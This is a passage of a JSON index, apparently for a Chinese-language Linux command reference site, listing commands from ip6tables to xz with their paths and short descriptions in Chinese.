ip6tables表"},"ip6tables-save":{"n":"ip6tables-save","p":"/ip6tables-save","d":"保存ip6tables表配置"},"ip6tables":{"n":"ip6tables","p":"/ip6tables","d":"linux中防火墙软件"},"ipcalc":{"n":"ipcalc","p":"/ipcalc","d":"简单的IP地址计算器"},"ipcrm":{"n":"ipcrm","p":"/ipcrm","d":"删除消息队列、信号集、或者共享内存标识"},"ipcs":{"n":"ipcs","p":"/ipcs","d":"分析消息队列共享内存和信号量"},"iperf":{"n":"iperf","p":"/iperf","d":"网络性能测试工具"},"iptables-restore":{"n":"iptables-restore","p":"/iptables-restore","d":"还原iptables表的配置"},"iptables-save":{"n":"iptables-save","p":"/iptables-save","d":"备份iptables的表配置"},"iptables":{"n":"iptables","p":"/iptables","d":"Linux上常用的防火墙软件"},"iptraf":{"n":"iptraf","p":"/iptraf","d":"实时地监视网卡流量"},"iptstate":{"n":"iptstate","p":"/iptstate","d":"显示iptables的工作状态"},"ispell":{"n":"ispell","p":"/ispell","d":"检查文件中出现的拼写错误"},"jed":{"n":"jed","p":"/jed","d":"主要用于编辑代码的编辑器"},"jobs":{"n":"jobs","p":"/jobs","d":"显示作业的状态。"},"joe":{"n":"joe","p":"/joe","d":"强大的纯文本编辑器"},"join":{"n":"join","p":"/join","d":"两个文件中指定栏位内容相同的行连接起来"},"journalctl":{"n":"journalctl","p":"/journalctl","d":"检索 systemd 日志，是 CentOS 7 才有的工具。"},"jq":{"n":"jq","p":"/jq","d":"一个灵活的轻量级命令行JSON处理器"},"jwhois":{"n":"jwhois","p":"/jwhois","d":"whois 客户端服务"},"kernelversion":{"n":"kernelversion","p":"/kernelversion","d":"打印当前内核的主版本号"},"kexec":{"n":"kexec","p":"/kexec","d":"从当前正在运行的内核引导到一个新内核"},"kill":{"n":"kill","p":"/kill","d":"发送信号到进程。"},"killall":{"n":"killall","p":"/killall","d":"使用进程的名称来杀死一组进程"},"last":{"n":"last","p":"/last","d":"列出目前与过去登入系统的用户相关信息"},"lastb":{"n":"lastb","p":"/lastb","d":"列出登入系统失败的用户相关信息"},"lastlog":{"n":"lastlog","p":"/lastlog","d":"显示系统中所有用户最近一次登录信息"},"ld":{"n":"ld","p":"/ld","d":"将目标文件连接为可执行程序"},"ldconfig":{"n":"ldconfig","p":"/ldconfig","d":"动态链接库管理命令"},"ldd":{"n":"ldd","p":"/ldd","d":"打印程序或者库文件所依赖的共享库列表"},"less":{"n":"less","p":"/less","d":"分屏上下翻页浏览文件内容"},"let":{"n":"let","p":"/let","d":"简单的计算器，执行算术表达式。"},"lftp":{"n":"lftp","p":"/lftp","d":"优秀的文件客户端程序"},"lftpget":{"n":"lftpget","p":"/lftpget","d":"调用lftp指令下载指定的文件"},"lha":{"n":"lha","p":"/lha","d":"压缩或解压缩lzh格式文件"},"lilo":{"n":"lilo","p":"/lilo","d":"安装核心载入开机管理程序"},"ln":{"n":"ln","p":"/ln","d":"用来为文件创建链接"},"lnstat":{"n":"lnstat","p":"/lnstat","d":"显示Linux系统的网路状态"},"local":{"n":"local","p":"/local","d":"在函数内定义局部变量。"},"locate":{"n":"locate","p":"/locate","d":"比 find 好用的文件查找工具"},"logger":{"n":"logger","p":"/logger","d":"在系统日志中记录相应条目"},"login":{"n":"login","p":"/login","d":"登录系统或切换用户身份"},"logname":{"n":"logname","p":"/logname","d":"打印当前终端登录用户的名称。"},"logout":{"n":"logout","p":"/logout","d":"退出当前登录的Shell"},"logrotate":{"n":"logrotate","p":"/logrotate","d":"系统日志进行轮转、压缩和删除"},"logsave":{"n":"logsave","p":"/logsave","d":"将命令的输出信息保存到指定的日志文件"},"logwatch":{"n":"logwatch","p":"/logwatch","d":"可定制和可插入式的日志监视系统"},"look":{"n":"look","p":"/look","d":"显示文件中以指定字符串开头的任意行"},"losetup":{"n":"losetup","p":"/losetup","d":"设定与控制循环（loop）设备"},"lp":{"n":"lp","p":"/lp","d":"打印文件或修改排队的打印任务"},"lpadmin":{"n":"lpadmin","p":"/lpadmin","d":"配置CUPS套件中的打印机和类"},"lpc":{"n":"lpc","p":"/lpc","d":"命令行方式打印机控制程序"},"lpq":{"n":"lpq","p":"/lpq","d":"显示打印队列中的打印任务的状态信息"},"lpr":{"n":"lpr","p":"/lpr","d":"将文件发送给指定打印机进行打印"},"lprm":{"n":"lprm","p":"/lprm","d":"删除打印队列中的打印任务"},"lpstat":{"n":"lpstat","p":"/lpstat","d":"显示CUPS中打印机的状态信息"},"ls":{"n":"ls","p":"/ls","d":"显示目录内容列表"},"lsattr":{"n":"lsattr","p":"/lsattr","d":"查看文件的第二扩展文件系统属性"},"lsb_release":{"n":"lsb_release","p":"/lsb_release","d":"显示发行版本信息"},"lsblk":{"n":"lsblk","p":"/lsblk","d":"列出块设备信息"},"lscpu":{"n":"lscpu","p":"/lscpu","d":"显示有关CPU架构的信息"},"lsmod":{"n":"lsmod","p":"/lsmod","d":"显示已载入系统的模块"},"lsof":{"n":"lsof","p":"/lsof","d":"显示Linux系统当前已打开的所有文件列表 `lsof -p pid`"},"lspci":{"n":"lspci","p":"/lspci","d":"显示当前主机的所有PCI总线信息"},"lsusb":{"n":"lsusb","p":"/lsusb","d":"显示本机的USB设备列表信息"},"ltrace":{"n":"ltrace","p":"/ltrace","d":"用来跟踪进程调用库函数的情况"},"lvcreate":{"n":"lvcreate","p":"/lvcreate","d":"用于创建LVM的逻辑卷"},"lvdisplay":{"n":"lvdisplay","p":"/lvdisplay","d":"显示逻辑卷属性"},"lvextend":{"n":"lvextend","p":"/lvextend","d":"扩展逻辑卷空间"},"lvreduce":{"n":"lvreduce","p":"/lvreduce","d":"收缩逻辑卷空间"},"lvremove":{"n":"lvremove","p":"/lvremove","d":"删除指定LVM逻辑卷"},"lvresize":{"n":"lvresize","p":"/lvresize","d":"调整逻辑卷空间大小"},"lvscan":{"n":"lvscan","p":"/lvscan","d":"扫描逻辑卷"},"lynx":{"n":"lynx","p":"/lynx","d":"纯文本模式的网页浏览器"},"mail":{"n":"mail","p":"/mail","d":"命令行下发送和接收电子邮件"},"mailq":{"n":"mailq","p":"/mailq","d":"显示待发送的邮件队列"},"mailstat":{"n":"mailstat","p":"/mailstat","d":"显示到达的邮件状态"},"make":{"n":"make","p":"/make","d":"GNU的工程化编译工具"},"man":{"n":"man","p":"/man","d":"查看Linux中的指令帮助"},"mapfile":{"n":"mapfile","p":"/mapfile","d":"从标准输入读取行并赋值到数组。"},"md5sum":{"n":"md5sum","p":"/md5sum","d":"计算和校验文件报文摘要的工具程序"},"mesg":{"n":"mesg","p":"/mesg","d":"设置当前终端的写权限"},"mii-tool":{"n":"mii-tool","p":"/mii-tool","d":"配置网络设备协商方式的工具"},"mkbootdisk":{"n":"mkbootdisk","p":"/mkbootdisk","d":"可建立目前系统的启动盘"},"mkdir":{"n":"mkdir","p":"/mkdir","d":"用来创建目录"},"mke2fs":{"n":"mke2fs","p":"/mke2fs","d":"创建磁盘分区上的“etc2/etc3”文件系统"},"mkfs":{"n":"mkfs","p":"/mkfs","d":"用于在设备上创建Linux文件系统"},"mkinitrd":{"n":"mkinitrd","p":"/mkinitrd","d":"建立要载入ramdisk的映像文件"},"mkisofs":{"n":"mkisofs","p":"/mkisofs","d":"建立ISO 9660映像文件"},"mknod":{"n":"mknod","p":"/mknod","d":"创建字符设备文件和块设备文件"},"mkswap":{"n":"mkswap","p":"/mkswap","d":"建立和设置SWAP交换分区"},"mktemp":{"n":"mktemp","p":"/mktemp","d":"创建临时文件供shell脚本使用"},"modprobe":{"n":"modprobe","p":"/modprobe","d":"自动处理可载入模块"},"more":{"n":"more","p":"/more","d":"显示文件内容，每次显示一屏"},"mount":{"n":"mount","p":"/mount","d":"用于挂载Linux系统外的文件"},"mpstat":{"n":"mpstat","p":"/mpstat","d":"显示各个可用CPU的状态"},"mtools":{"n":"mtools","p":"/mtools","d":"显示mtools支持的指令"},"mv":{"n":"mv","p":"/mv","d":"用来对文件或目录重新命名"},"mysql":{"n":"mysql","p":"/mysql","d":"MySQL服务器客户端工具"},"mysqladmin":{"n":"mysqladmin","p":"/mysqladmin","d":"MySQL服务器管理客户端"},"mysqldump":{"n":"mysqldump","p":"/mysqldump","d":"MySQL数据库中备份工具"},"mysqlimport":{"n":"mysqlimport","p":"/mysqlimport","d":"为MySQL服务器用命令行方式导入数据"},"mysqlshow":{"n":"mysqlshow","p":"/mysqlshow","d":"显示MySQL中数据库相关信息"},"named-checkzone":{"n":"named-checkzone","p":"/named-checkzone","d":"使用named-checkzone命令可以进行区域文件有效性检查和转换，必须指定区域名称和区域文件名称"},"nano":{"n":"nano","p":"/nano","d":"字符终端文本编辑器"},"nc":{"n":"nc","p":"/nc","d":"用于设置路由器，是网络工具中的瑞士军刀。"},"ncftp":{"n":"ncftp","p":"/ncftp","d":"是增强的的FTP工具"},"nethogs":{"n":"nethogs","p":"/nethogs","d":"终端下的网络流量监控工具"},"netstat":{"n":"netstat","p":"/netstat","d":"查看Linux中网络系统状态信息"},"newusers":{"n":"newusers","p":"/newusers","d":"用于批处理的方式一次创建多个命令"},"nfsstat":{"n":"nfsstat","p":"/nfsstat","d":"列出NFS客户端和服务器的工作状态"},"ngrep":{"n":"ngrep","p":"/ngrep","d":"方便的数据包匹配和显示工具"},"nice":{"n":"nice","p":"/nice","d":"改变程序执行的优先权等级"},"nisdomainname":{"n":"nisdomainname","p":"/nisdomainname","d":"显示主机NIS的域名"},"nl":{"n":"nl","p":"/nl","d":"为每一个文件添加行号。"},"nm":{"n":"nm","p":"/nm","d":"显示二进制目标文件的符号表"},"nmap":{"n":"nmap","p":"/nmap","d":"网络探测和安全审核"},"nmcli":{"n":"nmcli","p":"/nmcli","d":"地址配置工具"},"nohup":{"n":"nohup","p":"/nohup","d":"将程序以忽略挂起信号的方式运行起来"},"nologin":{"n":"nologin","p":"/nologin","d":"拒绝用户登录系统"},"nproc":{"n":"nproc","p":"/nproc","d":"打印可用的处理器单元数量。"},"nslookup":{"n":"nslookup","p":"/nslookup","d":"查询域名DNS信息的工具"},"ntpdate":{"n":"ntpdate","p":"/ntpdate","d":"使用网络计时协议（NTP）设置日期和时间"},"ntsysv":{"n":"ntsysv","p":"/ntsysv","d":"集中管理系统的各种服务"},"objdump":{"n":"objdump","p":"/objdump","d":"显示二进制文件信息"},"od":{"n":"od","p":"/od","d":"输出文件的八进制、十六进制等格式编码的字节"},"openssl":{"n":"openssl","p":"/openssl","d":"强大的安全套接字层密码库"},"parted":{"n":"parted","p":"/parted","d":"磁盘分区和分区大小调整工具"},"partprobe":{"n":"partprobe","p":"/partprobe","d":"不重启的情况下重读分区"},"passwd":{"n":"passwd","p":"/passwd","d":"用于让用户可以更改自己的密码"},"paste":{"n":"paste","p":"/paste","d":"将多个文件按列队列合并"},"patch":{"n":"patch","p":"/patch","d":"为开放源代码软件安装补丁程序"},"pathchk":{"n":"pathchk","p":"/pathchk","d":"检查文件中不可移植的部分"},"perl":{"n":"perl","p":"/perl","d":"perl语言解释器"},"pfctl":{"n":"pfctl","p":"/pfctl","d":"PF防火墙的配置命令"},"pgrep":{"n":"pgrep","p":"/pgrep","d":"根据用户给出的信息在当前运行进程中查找并列出符合条件的进程ID（PID）"},"php":{"n":"php","p":"/php","d":"PHP语言的命令行接口"},"pico":{"n":"pico","p":"/pico","d":"功能强大全屏幕的文本编辑器"},"pidof":{"n":"pidof","p":"/pidof","d":"查找指定名称的进程的进程号ID号"},"pigz":{"n":"pigz","p":"/pigz","d":"可以用来解压缩文件，gzip的并行实现升级版"},"ping":{"n":"ping","p":"/ping","d":"测试主机之间网络的连通性"},"pkill":{"n":"pkill","p":"/pkill","d":"可以按照进程名杀死进程"},"pmap":{"n":"pmap","p":"/pmap","d":"报告进程的内存映射关系"},"popd":{"n":"popd","p":"/popd","d":"从目录堆栈中删除目录。"},"poweroff":{"n":"poweroff","p":"/poweroff","d":"关闭Linux系统，关闭记录会被写入到/var/log/wtmp日志文件中"},"ppp-off":{"n":"ppp-off","p":"/ppp-off","d":"关闭ppp连线"},"pr":{"n":"pr","p":"/pr","d":"将文本文件转换成适合打印的格式"},"printf":{"n":"printf","p":"/printf","d":"格式化并输出结果。"},"protoize":{"n":"protoize","p":"/protoize","d":"GNU-C代码转换为ANSI-C代码"},"ps":{"n":"ps","p":"/ps","d":"报告当前系统的进程状态"},"pssh":{"n":"pssh","p":"/pssh","d":"批量管理执行"},"pstack":{"n":"pstack","p":"/pstack","d":"显示每个进程的栈跟踪"},"pstree":{"n":"pstree","p":"/pstree","d":"以树状图的方式展现进程之间的派生关系"},"pushd":{"n":"pushd","p":"/pushd","d":"将目录添加到目录堆栈顶部。"},"pv":{"n":"pv","p":"/pv","d":"显示当前在命令行执行的命令的进度信息，管道查看器"},"pvchange":{"n":"pvchange","p":"/pvchange","d":"修改物理卷属性"},"pvck":{"n":"pvck","p":"/pvck","d":"检测物理卷的LVM元数据的一致性"},"pvcreate":{"n":"pvcreate","p":"/pvcreate","d":"将物理硬盘分区初始化为物理卷"},"pvdisplay":{"n":"pvdisplay","p":"/pvdisplay","d":"显示物理卷的属性"},"pvremove":{"n":"pvremove","p":"/pvremove","d":"删除一个存在的物理卷"},"pvs":{"n":"pvs","p":"/pvs","d":"输出物理卷信息报表"},"pvscan":{"n":"pvscan","p":"/pvscan","d":"扫描系统中所有硬盘的物理卷列表"},"pwck":{"n":"pwck","p":"/pwck","d":"用来验证系统认证文件内容和格式的完整性"},"pwconv":{"n":"pwconv","p":"/pwconv","d":"用来开启用户的投影密码"},"pwd":{"n":"pwd","p":"/pwd","d":"显示当前工作目录的绝对路径。"},"pwunconv":{"n":"pwunconv","p":"/pwunconv","d":"用来关闭用户的投影密码"},"quota":{"n":"quota","p":"/quota","d":"显示磁盘已使用的空间与限制"},"quotacheck":{"n":"quotacheck","p":"/quotacheck","d":"检查磁盘的使用空间与限制"},"quotaoff":{"n":"quotaoff","p":"/quotaoff","d":"关闭Linux内核中指定文件系统的磁盘配额功能"},"quotaon":{"n":"quotaon","p":"/quotaon","d":"激活Linux内核中指定文件系统的磁盘配额功能"},"rcconf":{"n":"rcconf","p":"/rcconf","d":"Debian Linux下的运行等级服务配置工具"},"rcp":{"n":"rcp","p":"/rcp","d":"使在两台Linux主机之间的文件复制操作更简单"},"read":{"n":"read","p":"/read","d":"从键盘读取变量值"},"readelf":{"n":"readelf","p":"/readelf","d":"用于显示elf格式文件的信息"},"readonly":{"n":"readonly","p":"/readonly","d":"标记shell变量或函数为只读"},"reboot":{"n":"reboot","p":"/reboot","d":"重新启动正在运行的Linux操作系统"},"reject":{"n":"reject","p":"/reject","d":"指示打印系统拒绝发往指定目标打印机的打印任务"},"rename":{"n":"rename","p":"/rename","d":"用字符串替换的方式批量改变文件名"},"renice":{"n":"renice","p":"/renice","d":"修改正在运行的进程的调度优先级"},"repquota":{"n":"repquota","p":"/repquota","d":"报表的格式输出磁盘空间限制的状态"},"resize":{"n":"resize","p":"/resize","d":"命令设置终端机视窗的大小"},"restore":{"n":"restore","p":"/restore","d":"所进行的操作和dump指令相反"},"restorecon":{"n":"restorecon","p":"/restorecon","d":"恢复文件的安全上下文"},"return":{"n":"return","p":"/return","d":"从函数中退出并返回数值。"},"rev":{"n":"rev","p":"/rev","d":"将文件内容以字符为单位反序输出"},"rexec":{"n":"rexec","p":"/rexec","d":"远程执行Linux系统下命令"},"rlogin":{"n":"rlogin","p":"/rlogin","d":"从当前终端登录到远程Linux主机"},"rm":{"n":"rm","p":"/rm","d":"用于删除给定的文件和目录"},"rmdir":{"n":"rmdir","p":"/rmdir","d":"用来删除空目录"},"rmmod":{"n":"rmmod","p":"/rmmod","d":"从运行的内核中移除指定的内核模块"},"route":{"n":"route","p":"/route","d":"显示并设置Linux中静态路由表"},"rpm":{"n":"rpm","p":"/rpm","d":"RPM软件包的管理工具"},"rpm2cpio":{"n":"rpm2cpio","p":"/rpm2cpio","d":"将RPM软件包转换为cpio格式的文件"},"rpmbuild":{"n":"rpmbuild","p":"/rpmbuild","d":"创建RPM的二进制软件包和源码软件包"},"rpmdb":{"n":"rpmdb","p":"/rpmdb","d":"初始化和重建RPM数据库"},"rpmquery":{"n":"rpmquery","p":"/rpmquery","d":"从RPM数据库中查询软件包信息"},"rpmsign":{"n":"rpmsign","p":"/rpmsign","d":"使用RPM软件包的签名管理工具"},"rpmverify":{"n":"rpmverify","p":"/rpmverify","d":"验证已安装的RPM软件包的正确性"},"rsh":{"n":"rsh","p":"/rsh","d":"连接远程主机并执行命令"},"rsync":{"n":"rsync","p":"/rsync","d":"远程数据同步工具"},"runlevel":{"n":"runlevel","p":"/runlevel","d":"打印当前Linux系统的运行等级"},"sar":{"n":"sar","p":"/sar","d":"系统运行状态统计工具"},"scp":{"n":"scp","p":"/scp","d":"加密的方式在本地主机和远程主机之间复制文件"},"screen":{"n":"screen","p":"/screen","d":"用于命令行终端切换"},"script":{"n":"script","p":"/script","d":"记录终端会话的所有操作"},"scriptreplay":{"n":"scriptreplay","p":"/scriptreplay","d":"重新播放终端会话的所有操作"},"sed":{"n":"sed","p":"/sed","d":"功能强大的流式文本编辑器"},"seinfo":{"n":"seinfo","p":"/seinfo","d":"查询SELinux的策略提供多少相关规则"},"semanage":{"n":"semanage","p":"/semanage","d":"默认目录的安全上下文查询与修改"},"sendmail":{"n":"sendmail","p":"/sendmail","d":"著名电子邮件服务器"},"seq":{"n":"seq","p":"/seq","d":"以指定增量从首数开始打印数字到尾数"},"service":{"n":"service","p":"/service","d":"控制系统服务的实用工具"},"sesearch":{"n":"sesearch","p":"/sesearch","d":"查询SELinux策略的规则详情"},"set":{"n":"set","p":"/set","d":"显示或设置shell特性及shell变量"},"setfacl":{"n":"setfacl","p":"/setfacl","d":"设置文件访问控制列表"},"setpci":{"n":"setpci","p":"/setpci","d":"查询和配置PCI设备的使用工具"},"setsebool":{"n":"setsebool","p":"/setsebool","d":"修改SElinux策略内各项规则的布尔值"},"setsid":{"n":"setsid","p":"/setsid","d":"在新的会话中运行程序"},"sftp-server":{"n":"sftp-server","p":"/sftp-server","d":"sftp协议的服务器端程序"},"sftp":{"n":"sftp","p":"/sftp","d":"交互式的文件传输程序"},"sh":{"n":"sh","p":"/sh","d":"shell命令解释器"},"shift":{"n":"shift","p":"/shift","d":"移动位置参数。"},"shopt":{"n":"shopt","p":"/shopt","d":"显示和设置shell操作选项"},"showmount":{"n":"showmount","p":"/showmount","d":"显示NFS服务器加载的信息"},"shuf":{"n":"shuf","p":"/shuf","d":"产生随机的排列。"},"shutdown":{"n":"shutdown","p":"/shutdown","d":"用来执行系统关机的命令"},"skill":{"n":"skill","p":"/skill","d":"向选定的进程发送信号冻结进程"},"slabtop":{"n":"slabtop","p":"/slabtop","d":"实时显示内核slab内存缓存信息"},"sleep":{"n":"sleep","p":"/sleep","d":"将目前动作延迟一段时间"},"slocate":{"n":"slocate","p":"/slocate","d":"命令查找文件或目录"},"smbclient":{"n":"smbclient","p":"/smbclient","d":"交互方式访问samba服务器"},"smbpasswd":{"n":"smbpasswd","p":"/smbpasswd","d":"samba用户和密码管理工具"},"sort":{"n":"sort","p":"/sort","d":"对文本文件中所有行进行排序。"},"source":{"n":"source","p":"/source","d":"在当前Shell环境中从指定文件读取和执行命令。"},"speedtest-cli":{"n":"speedtest-cli","p":"/speedtest-cli","d":"命令行下测试服务器外网速度"},"spell":{"n":"spell","p":"/spell","d":"对文件进行拼写检查"},"split":{"n":"split","p":"/split","d":"分割任意大小的文件"},"squid":{"n":"squid","p":"/squid","d":"squid服务器守护进程"},"squidclient":{"n":"squidclient","p":"/squidclient","d":"squid服务器的客户端管理工具"},"ss":{"n":"ss","p":"/ss","d":"比 netstat 好用的socket统计信息，iproute2 包附带的另一个工具，允许你查询 socket 的有关统计信息"},"ssh-add":{"n":"ssh-add","p":"/ssh-add","d":"把专用密钥添加到ssh-agent的高速缓存中"},"ssh-agent":{"n":"ssh-agent","p":"/ssh-agent","d":"ssh密钥管理器"},"ssh-copy-id":{"n":"ssh-copy-id","p":"/ssh-copy-id","d":"把本地的ssh公钥文件安装到远程主机对应的账户下"},"ssh-keygen":{"n":"ssh-keygen","p":"/ssh-keygen","d":"为ssh生成、管理和转换认证密钥"},"ssh-keyscan":{"n":"ssh-keyscan","p":"/ssh-keyscan","d":"收集主机公钥的使用工具"},"ssh":{"n":"ssh","p":"/ssh","d":"openssh套件中的客户端连接工具"},"sshd":{"n":"sshd","p":"/sshd","d":"openssh软件套件中的服务器守护进程"},"startx":{"n":"startx","p":"/startx","d":"用来启动X Window"},"stat":{"n":"stat","p":"/stat","d":"用于显示文件的状态信息"},"strace":{"n":"strace","p":"/strace","d":"跟踪系统调用和信号"},"strings":{"n":"strings","p":"/strings","d":"在对象文件或二进制文件中查找可打印的字符串"},"stty":{"n":"stty","p":"/stty","d":"修改终端命令行的相关设置"},"su":{"n":"su","p":"/su","d":"用于切换当前用户身份到其他用户身份"},"sudo":{"n":"sudo","p":"/sudo","d":"以其他身份来执行命令"},"sum":{"n":"sum","p":"/sum","d":"计算文件的校验码和显示块数"},"supervisord":{"n":"supervisord","p":"/supervisord","d":"配置后台服务/常驻进程的进程管家工具"},"suspend":{"n":"suspend","p":"/suspend","d":"挂起shell的执行。"},"swapoff":{"n":"swapoff","p":"/swapoff","d":"关闭指定的交换空间"},"swapon":{"n":"swapon","p":"/swapon","d":"激活Linux系统中交换空间"},"sync":{"n":"sync","p":"/sync","d":"用于强制被改变的内容立刻写入磁盘"},"sysctl":{"n":"sysctl","p":"/sysctl","d":"时动态地修改内核的运行参数"},"syslog":{"n":"syslog","p":"/syslog","d":"系统默认的日志守护进程"},"systemctl":{"n":"systemctl","p":"/systemctl","d":"系统服务管理器指令"},"systool":{"n":"systool","p":"/systool","d":"显示基于总线、类和拓扑显示系统中设备的信息"},"tac":{"n":"tac","p":"/tac","d":"连接多个文件并以行为单位反向打印到标准输出。"},"tail":{"n":"tail","p":"/tail","d":"在屏幕上显示指定文件的末尾若干行"},"tailf":{"n":"tailf","p":"/tailf","d":"在屏幕上显示指定文件的末尾若干行内容，通常用于日志文件的跟踪输出"},"talk":{"n":"talk","p":"/talk","d":"让用户和其他用户聊天"},"tar":{"n":"tar","p":"/tar","d":"将许多文件一起保存至一个单独的磁带或磁盘归档，并能从归档中单独还原所需文件。"},"tcpdump":{"n":"tcpdump","p":"/tcpdump","d":"一款sniffer工具，是Linux上的抓包工具，嗅探器"},"tcpreplay":{"n":"tcpreplay","p":"/tcpreplay","d":"将PCAP包重新发送，用于性能或者功能测试"},"tee":{"n":"tee","p":"/tee","d":"从标准输入读取数据并重定向到标准输出和文件。"},"telinit":{"n":"telinit","p":"/telinit","d":"切换当前正在运行系统的运行等级"},"telnet":{"n":"telnet","p":"/telnet","d":"登录远程主机和管理(测试ip端口是否连通)"},"tempfile":{"n":"tempfile","p":"/tempfile","d":"shell中给临时文件命名"},"test":{"n":"test","p":"/test","d":"执行条件表达式。"},"tftp":{"n":"tftp","p":"/tftp","d":"在本机和tftp服务器之间使用TFTP协议传输文件"},"time":{"n":"time","p":"/time","d":"统计给定命令所花费的总时间"},"times":{"n":"times","p":"/times","d":"显示进程累计时间。"},"tload":{"n":"tload","p":"/tload","d":"显示系统负载状况"},"tmux":{"n":"tmux","p":"/tmux","d":"Tmux是一个优秀的终端复用软件，类似GNU Screen，但来自于OpenBSD，采用BSD授权"},"top":{"n":"top","p":"/top","d":"显示或管理执行中的程序"},"touch":{"n":"touch","p":"/touch","d":"创建新的空文件"},"tput":{"n":"tput","p":"/tput","d":"通过terminfo数据库对终端会话进行初始化和操作"},"tr":{"n":"tr","p":"/tr","d":"将字符进行替换压缩和删除"},"tracepath":{"n":"tracepath","p":"/tracepath","d":"追踪目的主机经过的路由信息"},"traceroute":{"n":"traceroute","p":"/traceroute","d":"显示数据包到主机间的路径"},"trap":{"n":"trap","p":"/trap","d":"捕捉信号和其他事件并执行命令。"},"tree":{"n":"tree","p":"/tree","d":"树状图列出目录的内容"},"true":{"n":"true","p":"/true","d":"返回状态为成功。"},"tty":{"n":"tty","p":"/tty","d":"显示连接到当前标准输入的终端设备文件名"},"type":{"n":"type","p":"/type","d":"显示指定命令的类型。"},"ulimit":{"n":"ulimit","p":"/ulimit","d":"控制shell程序的资源"},"umask":{"n":"umask","p":"/umask","d":"显示或设置创建文件的权限掩码。"},"umount":{"n":"umount","p":"/umount","d":"用于卸载已经加载的文件系统"},"unalias":{"n":"unalias","p":"/unalias","d":"删除由alias设置的别名"},"uname":{"n":"uname","p":"/uname","d":"打印系统信息。"},"unarj":{"n":"unarj","p":"/unarj","d":"解压缩由arj命令创建的压缩包"},"uncompress":{"n":"uncompress","p":"/uncompress","d":"用来解压.Z文件"},"unexpand":{"n":"unexpand","p":"/unexpand","d":"将文件的空白字符转换为制表符"},"uniq":{"n":"uniq","p":"/uniq","d":"显示或忽略重复的行。"},"unlink":{"n":"unlink","p":"/unlink","d":"系统调用函数unlink去删除指定的文件"},"unprotoize":{"n":"unprotoize","p":"/unprotoize","d":"删除C语言源代码文件中的函数原型"},"unrar":{"n":"unrar","p":"/unrar","d":"解压rar文件命令，从 rar 压缩包中提取文件"},"unset":{"n":"unset","p":"/unset","d":"删除指定的shell变量或函数。"},"unzip":{"n":"unzip","p":"/unzip","d":"用于解压缩由zip命令压缩的压缩包"},"updatedb":{"n":"updatedb","p":"/updatedb","d":"创建或更新slocate命令所必需的数据库文件"},"uptime":{"n":"uptime","p":"/uptime","d":"查看Linux系统负载信息"},"useradd":{"n":"useradd","p":"/useradd","d":"创建的新的系统用户"},"userdel":{"n":"userdel","p":"/userdel","d":"用于删除给定的用户以及与用户相关的文件"},"usermod":{"n":"usermod","p":"/usermod","d":"用于修改用户的基本信息"},"usernetctl":{"n":"usernetctl","p":"/usernetctl","d":"被允许时操作指定的网络接口"},"users":{"n":"users","p":"/users","d":"打印当前主机所有登陆用户的名称。"},"uucico":{"n":"uucico","p":"/uucico","d":"UUCP文件传输服务程序"},"uupick":{"n":"uupick","p":"/uupick","d":"命令处理传送进来的文件"},"uuto":{"n":"uuto","p":"/uuto","d":"将文件传送到远端的UUCP主机"},"vdfuse":{"n":"vdfuse","p":"/vdfuse","d":"VirtualBox软件挂载VDI分区文件工具"},"vgchange":{"n":"vgchange","p":"/vgchange","d":"修改卷组属性"},"vgconvert":{"n":"vgconvert","p":"/vgconvert","d":"转换卷组元数据格式"},"vgcreate":{"n":"vgcreate","p":"/vgcreate","d":"用于创建LVM卷组"},"vgdisplay":{"n":"vgdisplay","p":"/vgdisplay","d":"显示LVM卷组的信息"},"vgextend":{"n":"vgextend","p":"/vgextend","d":"向卷组中添加物理卷"},"vgreduce":{"n":"vgreduce","p":"/vgreduce","d":"从卷组中删除物理卷"},"vgremove":{"n":"vgremove","p":"/vgremove","d":"用于用户删除LVM卷组"},"vgrename":{"n":"vgrename","p":"/vgrename","d":"使用vgrename命令可以重命名卷组的名称"},"vgscan":{"n":"vgscan","p":"/vgscan","d":"扫描并显示系统中的卷组"},"vi":{"n":"vi","p":"/vi","d":"功能强大的纯文本编辑器"},"vmstat":{"n":"vmstat","p":"/vmstat","d":"显示虚拟内存状态"},"volname":{"n":"volname","p":"/volname","d":"显示指定的ISO-9660格式的设备的卷名称"},"w":{"n":"w","p":"/w","d":"显示目前登入系统的用户信息"},"wait":{"n":"wait","p":"/wait","d":"等待进程执行完后返回"},"wall":{"n":"wall","p":"/wall","d":"向系统当前所有打开的终端上输出信息"},"watch":{"n":"watch","p":"/watch","d":"可以将命令的输出结果输出到标准输出设备，多用于周期性执行命令/定时执行命令"},"wc":{"n":"wc","p":"/wc","d":"统计文件的字节数、字数、行数"},"wget":{"n":"wget","p":"/wget","d":"Linux系统下载文件工具"},"whatis":{"n":"whatis","p":"/whatis","d":"查询一个命令执行什么功能"},"whereis":{"n":"whereis","p":"/whereis","d":"查找二进制程序、代码等相关文件路径"},"which":{"n":"which","p":"/which","d":"查找并显示给定命令的绝对路径"},"who":{"n":"who","p":"/who","d":"显示当前所有登陆用户的信息。"},"whoami":{"n":"whoami","p":"/whoami","d":"打印当前有效的用户ID对应的名称"},"write":{"n":"write","p":"/write","d":"向指定登录用户终端上发送信息"},"xargs":{"n":"xargs","p":"/xargs","d":"给其他命令传递参数的一个过滤器"},"xauth":{"n":"xauth","p":"/xauth","d":"显示和编辑被用于连接X服务器的认证信息"},"xclip":{"n":"xclip","p":"/xclip","d":"管理 X 粘贴板"},"xhost":{"n":"xhost","p":"/xhost","d":"制哪些X客户端能够在X服务器上显示"},"xinit":{"n":"xinit","p":"/xinit","d":"是Linux下X-Window系统的初始化程序"},"xlsatoms":{"n":"xlsatoms","p":"/xlsatoms","d":"列出X服务器内部所有定义的原子成分"},"xlsclients":{"n":"xlsclients","p":"/xlsclients","d":"列出显示器中的客户端应用程序"},"xlsfonts":{"n":"xlsfonts","p":"/xlsfonts","d":"列出X Server使用的字体"},"xset":{"n":"xset","p":"/xset","d":"设置X-Window系统中的用户爱好的实用工具"},"xz":{"n":"xz","p":"/xz","d":"POSIX 